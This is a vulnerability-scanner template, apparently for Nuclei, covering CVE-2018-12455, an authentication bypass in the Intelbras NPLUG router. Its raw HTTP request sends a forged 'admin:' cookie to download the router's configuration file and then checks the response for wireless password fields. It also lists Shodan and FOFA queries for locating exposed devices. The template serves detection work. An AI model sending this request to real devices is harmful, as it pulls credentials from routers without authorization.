id: CVE-2018-12455

info:
  name: Intelbras NPLUG 1.0.0.14 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Intelbras NPLUG 1.0.0.14 is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication by simply setting a cookie named "admin:".
  impact: |
    Unauthenticated attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information.
  remediation: |
    Update the device firmware to the latest version.
  reference:
    - https://seclists.org/fulldisclosure/2018/Oct/18
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12455
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-12455
    cwe-id: CWE-287
    epss-score: 0.04999
    epss-percentile: 0.91121
    cpe: cpe:2.3:h:intelbras:nplug:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    product: nplug
    shodan-query: html:"NPLUG"
    fofa-query: title="NPLUG"
  tags: cve,cve2018,intelbras,auth-bypass,iot,vuln

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin:

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'config/conf')"
          - "contains_all(body, 'wl_', '_passwd')"
          - "status_code==200"
        condition: and
# digest: 490a0046304402207d0ed3b494bb1ce59a8b3207cb1498505a9f78f8779aeec9a0c944ba89f603b102206d38f00c64df2fb08a0f539210bf660cdbc114c41b95c63bccf5b94a6c2308ca:922c64590222798bb761d5b6d8e72950